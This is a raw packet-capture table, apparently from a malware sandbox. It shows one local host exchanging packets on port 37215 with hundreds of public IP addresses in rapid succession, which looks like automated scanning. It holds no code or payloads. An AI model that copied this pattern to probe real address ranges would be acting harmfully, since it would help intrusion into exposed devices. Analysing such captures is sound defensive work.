Jan 30, 2025 10:43:00.087568045 CET	60295	37215	192.168.2.14	41.241.162.23
Jan 30, 2025 10:43:00.087568998 CET	37215	60295	156.117.72.154	192.168.2.14
Jan 30, 2025 10:43:00.087582111 CET	37215	60295	197.158.187.101	192.168.2.14
Jan 30, 2025 10:43:00.087588072 CET	60295	37215	192.168.2.14	197.136.129.0
Jan 30, 2025 10:43:00.087591887 CET	37215	60295	41.103.246.13	192.168.2.14
Jan 30, 2025 10:43:00.087591887 CET	60295	37215	192.168.2.14	156.74.12.177
Jan 30, 2025 10:43:00.087601900 CET	37215	60295	156.85.45.214	192.168.2.14
Jan 30, 2025 10:43:00.087605000 CET	60295	37215	192.168.2.14	156.117.72.154
Jan 30, 2025 10:43:00.087646961 CET	37215	60295	41.49.99.230	192.168.2.14
Jan 30, 2025 10:43:00.087652922 CET	60295	37215	192.168.2.14	41.103.246.13
Jan 30, 2025 10:43:00.087656021 CET	60295	37215	192.168.2.14	156.85.45.214
Jan 30, 2025 10:43:00.087656975 CET	60295	37215	192.168.2.14	197.158.187.101
Jan 30, 2025 10:43:00.087658882 CET	37215	60295	156.26.109.231	192.168.2.14
Jan 30, 2025 10:43:00.087671041 CET	37215	60295	41.182.234.150	192.168.2.14
Jan 30, 2025 10:43:00.087681055 CET	37215	60295	197.250.157.33	192.168.2.14
Jan 30, 2025 10:43:00.087685108 CET	60295	37215	192.168.2.14	41.49.99.230
Jan 30, 2025 10:43:00.087687969 CET	60295	37215	192.168.2.14	156.26.109.231
Jan 30, 2025 10:43:00.087692022 CET	37215	60295	41.225.187.208	192.168.2.14
Jan 30, 2025 10:43:00.087703943 CET	37215	60295	41.216.78.168	192.168.2.14
Jan 30, 2025 10:43:00.087711096 CET	60295	37215	192.168.2.14	41.182.234.150
Jan 30, 2025 10:43:00.087714911 CET	37215	60295	156.50.62.151	192.168.2.14
Jan 30, 2025 10:43:00.087716103 CET	60295	37215	192.168.2.14	197.250.157.33
Jan 30, 2025 10:43:00.087718010 CET	60295	37215	192.168.2.14	41.225.187.208
Jan 30, 2025 10:43:00.087724924 CET	37215	60295	197.114.121.251	192.168.2.14
Jan 30, 2025 10:43:00.087733984 CET	60295	37215	192.168.2.14	41.216.78.168
Jan 30, 2025 10:43:00.087735891 CET	37215	60295	41.172.190.90	192.168.2.14
Jan 30, 2025 10:43:00.087742090 CET	60295	37215	192.168.2.14	156.50.62.151
Jan 30, 2025 10:43:00.087748051 CET	37215	60295	41.9.230.208	192.168.2.14
Jan 30, 2025 10:43:00.087758064 CET	60295	37215	192.168.2.14	197.114.121.251
Jan 30, 2025 10:43:00.087770939 CET	37215	60295	156.129.229.254	192.168.2.14
Jan 30, 2025 10:43:00.087776899 CET	60295	37215	192.168.2.14	41.172.190.90
Jan 30, 2025 10:43:00.087780952 CET	37215	60295	41.35.24.203	192.168.2.14
Jan 30, 2025 10:43:00.087783098 CET	60295	37215	192.168.2.14	41.9.230.208
Jan 30, 2025 10:43:00.087791920 CET	37215	60295	156.2.201.237	192.168.2.14
Jan 30, 2025 10:43:00.087802887 CET	37215	60295	156.54.12.119	192.168.2.14
Jan 30, 2025 10:43:00.087812901 CET	37215	60295	197.40.26.7	192.168.2.14
Jan 30, 2025 10:43:00.087822914 CET	37215	60295	41.252.175.77	192.168.2.14
Jan 30, 2025 10:43:00.087833881 CET	37215	60295	156.225.69.31	192.168.2.14
Jan 30, 2025 10:43:00.087837934 CET	60295	37215	192.168.2.14	156.129.229.254
Jan 30, 2025 10:43:00.087846041 CET	37215	60295	197.82.167.113	192.168.2.14
Jan 30, 2025 10:43:00.087856054 CET	60295	37215	192.168.2.14	156.54.12.119
Jan 30, 2025 10:43:00.087856054 CET	37215	60295	41.165.105.198	192.168.2.14
Jan 30, 2025 10:43:00.087857962 CET	60295	37215	192.168.2.14	41.252.175.77
Jan 30, 2025 10:43:00.087857962 CET	60295	37215	192.168.2.14	41.35.24.203
Jan 30, 2025 10:43:00.087857962 CET	60295	37215	192.168.2.14	156.2.201.237
Jan 30, 2025 10:43:00.087867022 CET	37215	60295	156.201.101.123	192.168.2.14
Jan 30, 2025 10:43:00.087873936 CET	60295	37215	192.168.2.14	156.225.69.31
Jan 30, 2025 10:43:00.087874889 CET	60295	37215	192.168.2.14	197.40.26.7
Jan 30, 2025 10:43:00.087874889 CET	60295	37215	192.168.2.14	197.82.167.113
Jan 30, 2025 10:43:00.087888956 CET	60295	37215	192.168.2.14	41.165.105.198
Jan 30, 2025 10:43:00.087899923 CET	60295	37215	192.168.2.14	156.201.101.123
Jan 30, 2025 10:43:00.088093996 CET	37215	60295	41.18.213.14	192.168.2.14
Jan 30, 2025 10:43:00.088105917 CET	37215	60295	41.129.132.54	192.168.2.14
Jan 30, 2025 10:43:00.088116884 CET	37215	60295	197.156.39.152	192.168.2.14
Jan 30, 2025 10:43:00.088136911 CET	37215	60295	156.73.228.247	192.168.2.14
Jan 30, 2025 10:43:00.088148117 CET	37215	60295	197.56.19.81	192.168.2.14
Jan 30, 2025 10:43:00.088156939 CET	37215	60295	41.216.13.216	192.168.2.14
Jan 30, 2025 10:43:00.088166952 CET	37215	60295	41.9.233.198	192.168.2.14
Jan 30, 2025 10:43:00.088169098 CET	60295	37215	192.168.2.14	41.129.132.54
Jan 30, 2025 10:43:00.088169098 CET	60295	37215	192.168.2.14	156.73.228.247
Jan 30, 2025 10:43:00.088174105 CET	60295	37215	192.168.2.14	41.18.213.14
Jan 30, 2025 10:43:00.088177919 CET	37215	60295	41.211.30.210	192.168.2.14
Jan 30, 2025 10:43:00.088180065 CET	60295	37215	192.168.2.14	197.156.39.152
Jan 30, 2025 10:43:00.088203907 CET	60295	37215	192.168.2.14	41.9.233.198
Jan 30, 2025 10:43:00.088205099 CET	60295	37215	192.168.2.14	41.211.30.210
Jan 30, 2025 10:43:00.088207960 CET	60295	37215	192.168.2.14	197.56.19.81
Jan 30, 2025 10:43:00.088252068 CET	37215	60295	41.20.47.180	192.168.2.14
Jan 30, 2025 10:43:00.088257074 CET	60295	37215	192.168.2.14	41.216.13.216
Jan 30, 2025 10:43:00.088263988 CET	37215	60295	197.136.182.188	192.168.2.14
Jan 30, 2025 10:43:00.088274002 CET	37215	60295	41.177.118.204	192.168.2.14
Jan 30, 2025 10:43:00.088284016 CET	37215	60295	197.69.179.64	192.168.2.14
Jan 30, 2025 10:43:00.088290930 CET	60295	37215	192.168.2.14	41.20.47.180
Jan 30, 2025 10:43:00.088290930 CET	60295	37215	192.168.2.14	197.136.182.188
Jan 30, 2025 10:43:00.088294983 CET	37215	60295	197.219.115.253	192.168.2.14
Jan 30, 2025 10:43:00.088306904 CET	37215	60295	197.102.249.123	192.168.2.14
Jan 30, 2025 10:43:00.088311911 CET	60295	37215	192.168.2.14	41.177.118.204
Jan 30, 2025 10:43:00.088320017 CET	37215	60295	41.222.52.69	192.168.2.14
Jan 30, 2025 10:43:00.088330984 CET	37215	60295	197.139.143.10	192.168.2.14
Jan 30, 2025 10:43:00.088350058 CET	37215	60295	197.209.114.135	192.168.2.14
Jan 30, 2025 10:43:00.088352919 CET	60295	37215	192.168.2.14	197.69.179.64
Jan 30, 2025 10:43:00.088361025 CET	37215	60295	156.56.183.210	192.168.2.14
Jan 30, 2025 10:43:00.088366032 CET	60295	37215	192.168.2.14	197.102.249.123
Jan 30, 2025 10:43:00.088366032 CET	60295	37215	192.168.2.14	41.222.52.69
Jan 30, 2025 10:43:00.088370085 CET	37215	60295	41.101.105.66	192.168.2.14
Jan 30, 2025 10:43:00.088380098 CET	60295	37215	192.168.2.14	197.139.143.10
Jan 30, 2025 10:43:00.088386059 CET	37215	60295	41.10.161.34	192.168.2.14
Jan 30, 2025 10:43:00.088386059 CET	60295	37215	192.168.2.14	197.209.114.135
Jan 30, 2025 10:43:00.088398933 CET	37215	60295	156.233.234.193	192.168.2.14
Jan 30, 2025 10:43:00.088401079 CET	60295	37215	192.168.2.14	156.56.183.210
Jan 30, 2025 10:43:00.088409901 CET	37215	60295	156.208.58.128	192.168.2.14
Jan 30, 2025 10:43:00.088421106 CET	37215	60295	41.144.103.87	192.168.2.14
Jan 30, 2025 10:43:00.088428974 CET	60295	37215	192.168.2.14	41.10.161.34
Jan 30, 2025 10:43:00.088429928 CET	37215	60295	197.21.102.107	192.168.2.14
Jan 30, 2025 10:43:00.088433027 CET	60295	37215	192.168.2.14	156.233.234.193
Jan 30, 2025 10:43:00.088439941 CET	60295	37215	192.168.2.14	197.219.115.253
Jan 30, 2025 10:43:00.088443041 CET	37215	60295	156.13.93.40	192.168.2.14
Jan 30, 2025 10:43:00.088454008 CET	37215	60295	197.104.156.153	192.168.2.14
Jan 30, 2025 10:43:00.088454008 CET	60295	37215	192.168.2.14	41.144.103.87
Jan 30, 2025 10:43:00.088457108 CET	60295	37215	192.168.2.14	197.21.102.107
Jan 30, 2025 10:43:00.088480949 CET	60295	37215	192.168.2.14	156.13.93.40
Jan 30, 2025 10:43:00.088484049 CET	60295	37215	192.168.2.14	41.101.105.66
Jan 30, 2025 10:43:00.088484049 CET	60295	37215	192.168.2.14	156.208.58.128
Jan 30, 2025 10:43:00.088486910 CET	60295	37215	192.168.2.14	197.104.156.153
Jan 30, 2025 10:43:00.088512897 CET	37215	60295	41.99.24.36	192.168.2.14
Jan 30, 2025 10:43:00.088548899 CET	60295	37215	192.168.2.14	41.99.24.36
Jan 30, 2025 10:43:00.088679075 CET	37215	60295	197.214.7.235	192.168.2.14
Jan 30, 2025 10:43:00.088691950 CET	37215	60295	41.28.93.111	192.168.2.14
Jan 30, 2025 10:43:00.088702917 CET	37215	60295	197.82.200.243	192.168.2.14
Jan 30, 2025 10:43:00.088713884 CET	37215	60295	41.74.39.71	192.168.2.14
Jan 30, 2025 10:43:00.088733912 CET	37215	60295	41.107.5.46	192.168.2.14
Jan 30, 2025 10:43:00.088743925 CET	37215	60295	156.27.64.224	192.168.2.14
Jan 30, 2025 10:43:00.088756084 CET	37215	60295	197.2.214.94	192.168.2.14
Jan 30, 2025 10:43:00.088763952 CET	60295	37215	192.168.2.14	197.82.200.243
Jan 30, 2025 10:43:00.088767052 CET	37215	60295	41.132.82.177	192.168.2.14
Jan 30, 2025 10:43:00.088766098 CET	60295	37215	192.168.2.14	41.74.39.71
Jan 30, 2025 10:43:00.088772058 CET	60295	37215	192.168.2.14	41.107.5.46
Jan 30, 2025 10:43:00.088772058 CET	37215	60295	197.240.38.89	192.168.2.14
Jan 30, 2025 10:43:00.088773966 CET	60295	37215	192.168.2.14	156.27.64.224
Jan 30, 2025 10:43:00.088783026 CET	37215	60295	41.62.239.186	192.168.2.14
Jan 30, 2025 10:43:00.088797092 CET	37215	60295	197.91.28.81	192.168.2.14
Jan 30, 2025 10:43:00.088805914 CET	60295	37215	192.168.2.14	197.2.214.94
Jan 30, 2025 10:43:00.088805914 CET	60295	37215	192.168.2.14	197.240.38.89
Jan 30, 2025 10:43:00.088808060 CET	37215	60295	156.177.181.96	192.168.2.14
Jan 30, 2025 10:43:00.088809967 CET	60295	37215	192.168.2.14	41.132.82.177
Jan 30, 2025 10:43:00.088812113 CET	60295	37215	192.168.2.14	41.62.239.186
Jan 30, 2025 10:43:00.088833094 CET	60295	37215	192.168.2.14	197.91.28.81
Jan 30, 2025 10:43:00.088834047 CET	60295	37215	192.168.2.14	156.177.181.96
Jan 30, 2025 10:43:00.088861942 CET	60295	37215	192.168.2.14	197.214.7.235
Jan 30, 2025 10:43:00.088861942 CET	60295	37215	192.168.2.14	41.28.93.111
Jan 30, 2025 10:43:00.089004993 CET	37215	60295	197.229.163.182	192.168.2.14
Jan 30, 2025 10:43:00.089016914 CET	37215	60295	41.143.129.205	192.168.2.14
Jan 30, 2025 10:43:00.089035034 CET	37215	60295	156.108.154.147	192.168.2.14
Jan 30, 2025 10:43:00.089045048 CET	37215	60295	41.154.134.220	192.168.2.14
Jan 30, 2025 10:43:00.089049101 CET	60295	37215	192.168.2.14	41.143.129.205
Jan 30, 2025 10:43:00.089055061 CET	60295	37215	192.168.2.14	197.229.163.182
Jan 30, 2025 10:43:00.089056969 CET	37215	60295	156.227.28.20	192.168.2.14
Jan 30, 2025 10:43:00.089073896 CET	60295	37215	192.168.2.14	156.108.154.147
Jan 30, 2025 10:43:00.089077950 CET	37215	60295	156.142.128.9	192.168.2.14
Jan 30, 2025 10:43:00.089078903 CET	60295	37215	192.168.2.14	41.154.134.220
Jan 30, 2025 10:43:00.089088917 CET	37215	60295	156.235.185.3	192.168.2.14
Jan 30, 2025 10:43:00.089099884 CET	37215	60295	41.236.240.157	192.168.2.14
Jan 30, 2025 10:43:00.089111090 CET	37215	60295	197.149.81.79	192.168.2.14
Jan 30, 2025 10:43:00.089121103 CET	37215	60295	197.252.187.52	192.168.2.14
Jan 30, 2025 10:43:00.089121103 CET	60295	37215	192.168.2.14	156.227.28.20
Jan 30, 2025 10:43:00.089132071 CET	37215	60295	41.233.224.88	192.168.2.14
Jan 30, 2025 10:43:00.089143038 CET	37215	60295	197.186.95.8	192.168.2.14
Jan 30, 2025 10:43:00.089153051 CET	60295	37215	192.168.2.14	156.235.185.3
Jan 30, 2025 10:43:00.089157104 CET	60295	37215	192.168.2.14	156.142.128.9
Jan 30, 2025 10:43:00.089160919 CET	60295	37215	192.168.2.14	197.252.187.52
Jan 30, 2025 10:43:00.089164972 CET	60295	37215	192.168.2.14	41.236.240.157
Jan 30, 2025 10:43:00.089165926 CET	37215	60295	41.172.41.44	192.168.2.14
Jan 30, 2025 10:43:00.089175940 CET	60295	37215	192.168.2.14	197.149.81.79
Jan 30, 2025 10:43:00.089175940 CET	60295	37215	192.168.2.14	197.186.95.8
Jan 30, 2025 10:43:00.089178085 CET	37215	60295	41.13.142.171	192.168.2.14
Jan 30, 2025 10:43:00.089190960 CET	37215	60295	197.128.149.44	192.168.2.14
Jan 30, 2025 10:43:00.089201927 CET	37215	60295	197.57.29.28	192.168.2.14
Jan 30, 2025 10:43:00.089202881 CET	60295	37215	192.168.2.14	41.172.41.44
Jan 30, 2025 10:43:00.089211941 CET	37215	60295	197.46.2.84	192.168.2.14
Jan 30, 2025 10:43:00.089224100 CET	37215	60295	156.200.87.203	192.168.2.14
Jan 30, 2025 10:43:00.089232922 CET	60295	37215	192.168.2.14	41.13.142.171
Jan 30, 2025 10:43:00.089235067 CET	37215	60295	156.58.61.125	192.168.2.14
Jan 30, 2025 10:43:00.089245081 CET	37215	60295	156.76.67.22	192.168.2.14
Jan 30, 2025 10:43:00.089246035 CET	60295	37215	192.168.2.14	197.128.149.44
Jan 30, 2025 10:43:00.089246035 CET	60295	37215	192.168.2.14	197.46.2.84
Jan 30, 2025 10:43:00.089255095 CET	60295	37215	192.168.2.14	156.200.87.203
Jan 30, 2025 10:43:00.089263916 CET	60295	37215	192.168.2.14	156.58.61.125
Jan 30, 2025 10:43:00.089276075 CET	60295	37215	192.168.2.14	156.76.67.22
Jan 30, 2025 10:43:00.089483023 CET	60295	37215	192.168.2.14	41.233.224.88
Jan 30, 2025 10:43:00.089483023 CET	60295	37215	192.168.2.14	197.57.29.28
Jan 30, 2025 10:43:00.089494944 CET	37215	60295	156.16.233.95	192.168.2.14
Jan 30, 2025 10:43:00.089505911 CET	37215	60295	41.44.49.116	192.168.2.14
Jan 30, 2025 10:43:00.089518070 CET	37215	60295	156.171.164.58	192.168.2.14
Jan 30, 2025 10:43:00.089530945 CET	60295	37215	192.168.2.14	156.16.233.95
Jan 30, 2025 10:43:00.089540005 CET	37215	60295	41.54.65.176	192.168.2.14
Jan 30, 2025 10:43:00.089549065 CET	60295	37215	192.168.2.14	156.171.164.58
Jan 30, 2025 10:43:00.089550972 CET	37215	60295	156.244.33.13	192.168.2.14
Jan 30, 2025 10:43:00.089554071 CET	60295	37215	192.168.2.14	41.44.49.116
Jan 30, 2025 10:43:00.089560986 CET	37215	60295	156.201.0.195	192.168.2.14
Jan 30, 2025 10:43:00.089572906 CET	37215	60295	41.205.147.48	192.168.2.14
Jan 30, 2025 10:43:00.089577913 CET	60295	37215	192.168.2.14	41.54.65.176
Jan 30, 2025 10:43:00.089581966 CET	60295	37215	192.168.2.14	156.244.33.13
Jan 30, 2025 10:43:00.089593887 CET	37215	60295	41.111.231.48	192.168.2.14
Jan 30, 2025 10:43:00.089596033 CET	60295	37215	192.168.2.14	156.201.0.195
Jan 30, 2025 10:43:00.089602947 CET	60295	37215	192.168.2.14	41.205.147.48
Jan 30, 2025 10:43:00.089603901 CET	37215	60295	41.90.229.243	192.168.2.14
Jan 30, 2025 10:43:00.089627028 CET	37215	60295	197.255.58.70	192.168.2.14
Jan 30, 2025 10:43:00.089631081 CET	60295	37215	192.168.2.14	41.111.231.48
Jan 30, 2025 10:43:00.089638948 CET	37215	60295	41.208.121.195	192.168.2.14
Jan 30, 2025 10:43:00.089649916 CET	60295	37215	192.168.2.14	41.90.229.243
Jan 30, 2025 10:43:00.089663982 CET	60295	37215	192.168.2.14	197.255.58.70
Jan 30, 2025 10:43:00.089673042 CET	60295	37215	192.168.2.14	41.208.121.195
Jan 30, 2025 10:43:00.089701891 CET	37215	60295	197.243.181.213	192.168.2.14
Jan 30, 2025 10:43:00.089713097 CET	37215	60295	156.74.131.96	192.168.2.14
Jan 30, 2025 10:43:00.089724064 CET	37215	60295	41.151.179.110	192.168.2.14
Jan 30, 2025 10:43:00.089736938 CET	37215	60295	41.172.136.224	192.168.2.14
Jan 30, 2025 10:43:00.089750051 CET	37215	60295	41.177.248.47	192.168.2.14
Jan 30, 2025 10:43:00.089761972 CET	37215	60295	197.147.119.42	192.168.2.14
Jan 30, 2025 10:43:00.089772940 CET	37215	60295	156.117.137.23	192.168.2.14
Jan 30, 2025 10:43:00.089782953 CET	37215	60295	41.184.225.244	192.168.2.14
Jan 30, 2025 10:43:00.089793921 CET	37215	60295	156.185.55.233	192.168.2.14
Jan 30, 2025 10:43:00.089803934 CET	37215	60295	197.213.72.32	192.168.2.14
Jan 30, 2025 10:43:00.089807987 CET	60295	37215	192.168.2.14	156.117.137.23
Jan 30, 2025 10:43:00.089831114 CET	60295	37215	192.168.2.14	156.185.55.233
Jan 30, 2025 10:43:00.089833975 CET	60295	37215	192.168.2.14	197.213.72.32
Jan 30, 2025 10:43:00.090007067 CET	60295	37215	192.168.2.14	197.243.181.213
Jan 30, 2025 10:43:00.090014935 CET	60295	37215	192.168.2.14	156.74.131.96
Jan 30, 2025 10:43:00.090018988 CET	60295	37215	192.168.2.14	41.151.179.110
Jan 30, 2025 10:43:00.090027094 CET	60295	37215	192.168.2.14	197.147.119.42
Jan 30, 2025 10:43:00.090039015 CET	60295	37215	192.168.2.14	41.184.225.244
Jan 30, 2025 10:43:00.090116978 CET	60295	37215	192.168.2.14	41.172.136.224
Jan 30, 2025 10:43:00.090123892 CET	60295	37215	192.168.2.14	41.177.248.47
Jan 30, 2025 10:43:00.090130091 CET	37215	60295	41.0.213.150	192.168.2.14
Jan 30, 2025 10:43:00.090152979 CET	37215	60295	156.27.239.97	192.168.2.14
Jan 30, 2025 10:43:00.090157986 CET	60295	37215	192.168.2.14	41.0.213.150
Jan 30, 2025 10:43:00.090164900 CET	37215	60295	197.114.33.112	192.168.2.14
Jan 30, 2025 10:43:00.090176105 CET	37215	60295	156.65.168.44	192.168.2.14
Jan 30, 2025 10:43:00.090188026 CET	37215	60295	41.183.220.66	192.168.2.14
Jan 30, 2025 10:43:00.090192080 CET	60295	37215	192.168.2.14	156.27.239.97
Jan 30, 2025 10:43:00.090200901 CET	37215	60295	41.115.211.58	192.168.2.14
Jan 30, 2025 10:43:00.090212107 CET	37215	60295	41.164.246.144	192.168.2.14
Jan 30, 2025 10:43:00.090221882 CET	37215	60295	156.162.117.190	192.168.2.14
Jan 30, 2025 10:43:00.090223074 CET	60295	37215	192.168.2.14	197.114.33.112
Jan 30, 2025 10:43:00.090259075 CET	60295	37215	192.168.2.14	41.183.220.66
Jan 30, 2025 10:43:00.090259075 CET	60295	37215	192.168.2.14	41.115.211.58
Jan 30, 2025 10:43:00.090259075 CET	60295	37215	192.168.2.14	41.164.246.144
Jan 30, 2025 10:43:00.090260983 CET	60295	37215	192.168.2.14	156.65.168.44
Jan 30, 2025 10:43:00.090266943 CET	60295	37215	192.168.2.14	156.162.117.190
Jan 30, 2025 10:43:00.090301037 CET	37215	60295	156.11.84.206	192.168.2.14
Jan 30, 2025 10:43:00.090311050 CET	37215	60295	41.70.60.86	192.168.2.14
Jan 30, 2025 10:43:00.090321064 CET	37215	60295	197.244.187.202	192.168.2.14
Jan 30, 2025 10:43:00.090332985 CET	37215	60295	41.143.136.119	192.168.2.14
Jan 30, 2025 10:43:00.090334892 CET	60295	37215	192.168.2.14	156.11.84.206
Jan 30, 2025 10:43:00.090346098 CET	37215	60295	197.228.87.91	192.168.2.14
Jan 30, 2025 10:43:00.090357065 CET	37215	60295	41.126.56.26	192.168.2.14
Jan 30, 2025 10:43:00.090364933 CET	60295	37215	192.168.2.14	41.143.136.119
Jan 30, 2025 10:43:00.090367079 CET	37215	60295	197.65.180.42	192.168.2.14
Jan 30, 2025 10:43:00.090380907 CET	37215	60295	197.255.241.63	192.168.2.14
Jan 30, 2025 10:43:00.090380907 CET	60295	37215	192.168.2.14	197.244.187.202
Jan 30, 2025 10:43:00.090384960 CET	60295	37215	192.168.2.14	41.126.56.26
Jan 30, 2025 10:43:00.090404034 CET	37215	60295	156.34.78.34	192.168.2.14
Jan 30, 2025 10:43:00.090409994 CET	60295	37215	192.168.2.14	41.70.60.86
Jan 30, 2025 10:43:00.090409994 CET	60295	37215	192.168.2.14	197.228.87.91
Jan 30, 2025 10:43:00.090409994 CET	60295	37215	192.168.2.14	197.65.180.42
Jan 30, 2025 10:43:00.090415001 CET	37215	60295	197.117.72.3	192.168.2.14
Jan 30, 2025 10:43:00.090425968 CET	37215	60295	197.150.102.104	192.168.2.14
Jan 30, 2025 10:43:00.090436935 CET	37215	60295	156.65.82.73	192.168.2.14
Jan 30, 2025 10:43:00.090440035 CET	60295	37215	192.168.2.14	156.34.78.34
Jan 30, 2025 10:43:00.090444088 CET	60295	37215	192.168.2.14	197.255.241.63
Jan 30, 2025 10:43:00.090445995 CET	37215	60295	197.47.90.83	192.168.2.14
Jan 30, 2025 10:43:00.090445995 CET	60295	37215	192.168.2.14	197.117.72.3
Jan 30, 2025 10:43:00.090456963 CET	37215	60295	41.164.57.124	192.168.2.14
Jan 30, 2025 10:43:00.090464115 CET	60295	37215	192.168.2.14	197.150.102.104
Jan 30, 2025 10:43:00.090464115 CET	60295	37215	192.168.2.14	156.65.82.73
Jan 30, 2025 10:43:00.090466976 CET	37215	60295	156.148.223.64	192.168.2.14
Jan 30, 2025 10:43:00.090476990 CET	37215	60295	41.224.115.95	192.168.2.14
Jan 30, 2025 10:43:00.090481043 CET	60295	37215	192.168.2.14	197.47.90.83
Jan 30, 2025 10:43:00.090486050 CET	60295	37215	192.168.2.14	41.164.57.124
Jan 30, 2025 10:43:00.090487957 CET	37215	60295	197.66.64.176	192.168.2.14
Jan 30, 2025 10:43:00.090497971 CET	37215	60295	156.210.187.150	192.168.2.14
Jan 30, 2025 10:43:00.090503931 CET	60295	37215	192.168.2.14	156.148.223.64
Jan 30, 2025 10:43:00.090507984 CET	37215	60295	156.222.233.148	192.168.2.14
Jan 30, 2025 10:43:00.090511084 CET	60295	37215	192.168.2.14	41.224.115.95
Jan 30, 2025 10:43:00.090514898 CET	60295	37215	192.168.2.14	197.66.64.176
Jan 30, 2025 10:43:00.090519905 CET	37215	60295	41.32.108.78	192.168.2.14
Jan 30, 2025 10:43:00.090538025 CET	60295	37215	192.168.2.14	156.210.187.150
Jan 30, 2025 10:43:00.090540886 CET	60295	37215	192.168.2.14	156.222.233.148
Jan 30, 2025 10:43:00.090549946 CET	60295	37215	192.168.2.14	41.32.108.78
Jan 30, 2025 10:43:00.090756893 CET	37215	60295	197.171.178.26	192.168.2.14
Jan 30, 2025 10:43:00.090766907 CET	37215	60295	41.34.106.88	192.168.2.14
Jan 30, 2025 10:43:00.090775967 CET	37215	60295	156.73.14.106	192.168.2.14
Jan 30, 2025 10:43:00.090780973 CET	37215	60295	41.100.60.252	192.168.2.14
Jan 30, 2025 10:43:00.090790987 CET	37215	60295	41.35.238.224	192.168.2.14
Jan 30, 2025 10:43:00.090809107 CET	60295	37215	192.168.2.14	197.171.178.26
Jan 30, 2025 10:43:00.090809107 CET	60295	37215	192.168.2.14	156.73.14.106
Jan 30, 2025 10:43:00.090811968 CET	60295	37215	192.168.2.14	41.34.106.88
Jan 30, 2025 10:43:00.090811968 CET	60295	37215	192.168.2.14	41.100.60.252
Jan 30, 2025 10:43:00.090816021 CET	37215	60295	156.111.16.74	192.168.2.14
Jan 30, 2025 10:43:00.090816975 CET	60295	37215	192.168.2.14	41.35.238.224
Jan 30, 2025 10:43:00.090826988 CET	37215	60295	156.116.100.130	192.168.2.14
Jan 30, 2025 10:43:00.090837002 CET	37215	60295	41.137.53.181	192.168.2.14
Jan 30, 2025 10:43:00.090847015 CET	37215	60295	156.161.149.102	192.168.2.14
Jan 30, 2025 10:43:00.090854883 CET	60295	37215	192.168.2.14	156.116.100.130
Jan 30, 2025 10:43:00.090857029 CET	37215	60295	156.168.71.40	192.168.2.14
Jan 30, 2025 10:43:00.090857029 CET	60295	37215	192.168.2.14	156.111.16.74
Jan 30, 2025 10:43:00.090869904 CET	37215	60295	41.106.86.74	192.168.2.14
Jan 30, 2025 10:43:00.090873003 CET	60295	37215	192.168.2.14	41.137.53.181
Jan 30, 2025 10:43:00.090877056 CET	60295	37215	192.168.2.14	156.161.149.102
Jan 30, 2025 10:43:00.090893030 CET	60295	37215	192.168.2.14	156.168.71.40
Jan 30, 2025 10:43:00.090908051 CET	60295	37215	192.168.2.14	41.106.86.74
Jan 30, 2025 10:43:00.090917110 CET	37215	60295	41.18.196.231	192.168.2.14
Jan 30, 2025 10:43:00.090928078 CET	37215	60295	156.120.155.169	192.168.2.14
Jan 30, 2025 10:43:00.090938091 CET	37215	60295	197.247.98.166	192.168.2.14
Jan 30, 2025 10:43:00.090949059 CET	37215	60295	41.235.61.172	192.168.2.14
Jan 30, 2025 10:43:00.090959072 CET	37215	60295	41.83.29.107	192.168.2.14
Jan 30, 2025 10:43:00.090962887 CET	60295	37215	192.168.2.14	41.18.196.231
Jan 30, 2025 10:43:00.090966940 CET	60295	37215	192.168.2.14	197.247.98.166
Jan 30, 2025 10:43:00.090970039 CET	37215	60295	41.75.60.107	192.168.2.14
Jan 30, 2025 10:43:00.090981007 CET	37215	60295	156.90.29.110	192.168.2.14
Jan 30, 2025 10:43:00.090986967 CET	60295	37215	192.168.2.14	41.235.61.172
Jan 30, 2025 10:43:00.090993881 CET	60295	37215	192.168.2.14	41.83.29.107
Jan 30, 2025 10:43:00.091001987 CET	60295	37215	192.168.2.14	41.75.60.107
Jan 30, 2025 10:43:00.091058969 CET	60295	37215	192.168.2.14	156.120.155.169
Jan 30, 2025 10:43:00.091058969 CET	60295	37215	192.168.2.14	156.90.29.110
Jan 30, 2025 10:43:00.091219902 CET	37215	60295	156.116.130.229	192.168.2.14
Jan 30, 2025 10:43:00.091240883 CET	37215	60295	197.211.1.140	192.168.2.14
Jan 30, 2025 10:43:00.091252089 CET	37215	60295	197.171.165.99	192.168.2.14
Jan 30, 2025 10:43:00.091255903 CET	60295	37215	192.168.2.14	156.116.130.229
Jan 30, 2025 10:43:00.091263056 CET	37215	60295	156.92.245.242	192.168.2.14
Jan 30, 2025 10:43:00.091276884 CET	60295	37215	192.168.2.14	197.211.1.140
Jan 30, 2025 10:43:00.091281891 CET	60295	37215	192.168.2.14	197.171.165.99
Jan 30, 2025 10:43:00.091329098 CET	60295	37215	192.168.2.14	156.92.245.242
Jan 30, 2025 10:43:00.091397047 CET	37215	60295	197.73.250.155	192.168.2.14
Jan 30, 2025 10:43:00.091408014 CET	37215	60295	41.87.42.24	192.168.2.14
Jan 30, 2025 10:43:00.091417074 CET	37215	60295	197.201.50.47	192.168.2.14
Jan 30, 2025 10:43:00.091428041 CET	37215	60295	41.208.165.11	192.168.2.14
Jan 30, 2025 10:43:00.091444016 CET	60295	37215	192.168.2.14	41.87.42.24
Jan 30, 2025 10:43:00.091444016 CET	60295	37215	192.168.2.14	197.73.250.155
Jan 30, 2025 10:43:00.091449022 CET	37215	60295	41.211.244.171	192.168.2.14
Jan 30, 2025 10:43:00.091470003 CET	37215	60295	197.1.99.20	192.168.2.14
Jan 30, 2025 10:43:00.091471910 CET	60295	37215	192.168.2.14	41.208.165.11
Jan 30, 2025 10:43:00.091475010 CET	60295	37215	192.168.2.14	197.201.50.47
Jan 30, 2025 10:43:00.091480970 CET	37215	60295	156.95.232.156	192.168.2.14
Jan 30, 2025 10:43:00.091492891 CET	37215	60295	156.202.214.118	192.168.2.14
Jan 30, 2025 10:43:00.091502905 CET	37215	60295	197.220.201.122	192.168.2.14
Jan 30, 2025 10:43:00.091512918 CET	37215	60295	156.82.15.85	192.168.2.14
Jan 30, 2025 10:43:00.091522932 CET	37215	60295	41.247.63.18	192.168.2.14
Jan 30, 2025 10:43:00.091533899 CET	37215	60295	197.44.56.211	192.168.2.14
Jan 30, 2025 10:43:00.091541052 CET	60295	37215	192.168.2.14	41.211.244.171
Jan 30, 2025 10:43:00.091550112 CET	60295	37215	192.168.2.14	156.202.214.118
Jan 30, 2025 10:43:00.091552973 CET	60295	37215	192.168.2.14	197.220.201.122
Jan 30, 2025 10:43:00.091555119 CET	60295	37215	192.168.2.14	156.82.15.85
Jan 30, 2025 10:43:00.091555119 CET	60295	37215	192.168.2.14	197.1.99.20
Jan 30, 2025 10:43:00.091557980 CET	60295	37215	192.168.2.14	41.247.63.18
